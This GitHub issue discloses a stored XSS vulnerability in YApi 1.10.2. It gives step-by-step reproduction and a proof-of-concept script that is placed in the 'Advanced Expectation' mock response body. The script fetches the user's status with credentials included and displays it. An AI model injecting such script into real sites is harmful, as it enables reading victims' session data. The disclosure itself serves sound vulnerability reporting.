Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

yapi 1.10.2 (2021-10-13) has a stored XSS vulnerability #2745

Open
Hebing123 opened this issue Apr 26, 2024 · 0 comments
Open

yapi 1.10.2 (2021-10-13) has a stored XSS vulnerability #2745

Hebing123 opened this issue Apr 26, 2024 · 0 comments

Comments

@Hebing123
Copy link

Hebing123 commented Apr 26, 2024 •
edited

Summary

A stored XSS vulnerability exists in Yapi 1.10.2 (2021-10-13) which allows attackers to execute arbitrary HTML code.

Details

In the advanced expectation, the user can execute any html code, which is not allowed because of the same origin relationship, we can attack any user present on the system through the vulnerability.
Therefore, the ideal solution is to filter and escape the user-defined body field.

POC

  1. Register and log in to your account, create a project, and add an interface.
    image
  2. Choose "Advanced Expectation - Response."
    image
  3. Modify the body to:
<!DOCTYPE html>
<script>
    fetch('https://your-ip/api/user/status', {
            method: "GET",
            headers: {
                "Accept": "application/json"
            },
            credentials: 'include'
        })
        .then(response => response.json())
        .then(data => {
            alert(JSON.stringify(data));
        })
        .catch(err => {
            console.error('Error:', err);
            alert('Occured an error while fetching data');
        });
</script>

image
Visit your Api Url, such as https://localhost/mock/4089/test
image
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@Hebing123